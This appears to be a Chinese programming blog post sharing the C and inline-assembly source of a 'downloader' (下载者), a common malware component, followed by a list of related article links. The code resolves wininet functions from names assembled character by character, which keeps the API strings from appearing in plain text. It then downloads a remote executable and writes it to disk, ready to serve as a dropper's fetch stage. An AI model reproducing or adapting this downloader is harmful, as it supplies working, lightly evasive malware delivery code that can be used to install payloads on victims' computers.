一个下载者代码
来源:互联网 发布:2013马刺vs热火数据 编辑:程序博客网 时间:2024/05/01 04:43
自己写的一个下载者代码,为了减小程序的体积,所以用到的一些函数使用动态加载DLL,内嵌汇编的方式调用
#include <windows.h>
//CodyBy:xets007
bool DownLoadFile(char *szUrl,char *szFile);
void main()
{
char szUrl[]="http://127.0.0.1/test.exe";
char szFile[]="d:\\test.exe";
DownLoadFile(szUrl,szFile);
}
bool DownLoadFile(char *szUrl,char *szFile)
{
char szWininet[12]={'w','i','n','i','n','e','t','.','d','l','l','\0'};
HMODULE hWininet=LoadLibrary(szWininet);
if(hWininet==NULL) return false;
char szInterOpenA[]={'I','n','t','e','r','n','e','t','O','p','e','n','A','\0'};
DWORD dwInterOpenA=(DWORD)GetProcAddress(hWininet,szInterOpenA);
char szInterOpenUrlA[]={'I','n','t','e','r','n','e','t','O','p','e','n','U','r','l','A','\0'};
DWORD dwInterOpenUrlA=(DWORD)GetProcAddress(hWininet,szInterOpenUrlA);
char szHttpQueryInfoA[]={'H','t','t','p','Q','u','e','r','y','I','n','f','o','A','\0'};
DWORD dwHttpQueryInfoA=(DWORD)GetProcAddress(hWininet,szHttpQueryInfoA);
char szInternetCloseHandle[]={'I','n','t','e','r','n','e','t','C','l','o','s','e','H','a','n','d','l','e','\0'};
DWORD dwInternetCloseHandle=(DWORD)GetProcAddress(hWininet,szInternetCloseHandle);
char szInternetReadFile[]={'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e','\0'};
DWORD dwInternetReadFile=(DWORD)GetProcAddress(hWininet,szInternetReadFile);
DWORD hInternet=NULL,hConnect=NULL;
char *szAgent="Mozilla/4.0";
_asm//InterOpenA
{
push 0;
push 0;
push 0;
push 0;
push szAgent;
call dwInterOpenA;
mov hInternet,eax;
}
char *szAccept="Accept: */*\r\n\r\n";
DWORD dwFlag=0X04000000|0X00000100|0X80000000;
_asm//InteOpenUrlA
{
push 0;
push dwFlag;
push -1;
push szAccept;
push szUrl;
push hInternet;
call dwInterOpenUrlA;
mov hConnect,eax;
}
char szDataSize[32]={0};
char *szTemp=szDataSize;
DWORD dwDataSizeBufLen=32;
DWORD *pdwDWORD=&dwDataSizeBufLen;
BOOL stat;
_asm//HttpQueryInfoA
{
push 0;
push pdwDWORD;
push szTemp;//为什么要转道湾,是因为编译器的缘故,不转道湾结果不正确。
push 5;
push hConnect;
call dwHttpQueryInfoA;
mov stat,eax;
}
DWORD dwRecvSize=0;
DWORD dwCurrentSize=0;
char szFileBuf[1024*8];
DWORD dwFileSize=atol(szDataSize);//先查询文件大小,如果需要显示文件下载进度时需要这个参数
HANDLE hFile=CreateFile(szFile,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE) goto end;
while(true)
{
memset(szFileBuf,0,1024*8);
pdwDWORD=&dwRecvSize;
szTemp=szFileBuf;
_asm//从网页读取文件内容
{
push pdwDWORD;
push 8192;
push szTemp;
push hConnect;
call dwInternetReadFile;
mov stat,eax;
}
if((!stat)||dwRecvSize==0)
break;
dwCurrentSize+=dwRecvSize;
DWORD dwWrite=0;
stat=WriteFile(hFile,szFileBuf,dwRecvSize,&dwWrite,NULL);
if(!stat)
break;
}
CloseHandle(hFile);
end:
_asm//关闭句柄
{
push hConnect;
call dwInternetCloseHandle;
push hInternet;
call dwInternetCloseHandle;
}
if(dwCurrentSize==dwFileSize)
return true;
else
return false;
}
- 一个下载者代码
- 发一个下载者代码
- j-spider下载一个网站代码
- 一个下载git库代码的脚本
- 推荐一个好的代码下载网站
- 导出一个XML文件并提供下载的代码,下载的代码可通用
- 一个被加入自动下载灰鸽子的代码的网站
- 学习工作中的一个PHP文件下载代码
- 使用SVN快速下载Branch代码的一个技巧
- 一个Android下的自动下载歌词的代码
- 一个Android下的自动下载歌词的代码
- 一个Android下的自动下载歌词的代码
- struts2----一个通用的文件下载代码示例
- 第一行代码笔记 一个下载的demo
- 解密一个VBS下载者
- 一个古老的下载者
- 代码下载
- 下载代码
- vim——鸟哥的私房菜
- OraclePL/SQL流程控制结构
- SVG 旋转参数rotate
- ffmpeg视频转换及截图
- 手把手教你如何配置和编译ogre 1.7.0 + cegui 0.7.1
- 一个下载者代码
- vi/vim替换命令详解
- java中的Font
- 如何让div中的文字只显示一行,多余的文字隐藏并加上省略号
- 如何判定正定矩阵
- 批处理自身%0 的总结
- 驱动编写-globalmem 小内存操作
- 九步解决IE6的各种疑难杂症
- oracle学习笔记【 ORA-01861: literal does not match format string(字符串格式不匹配)】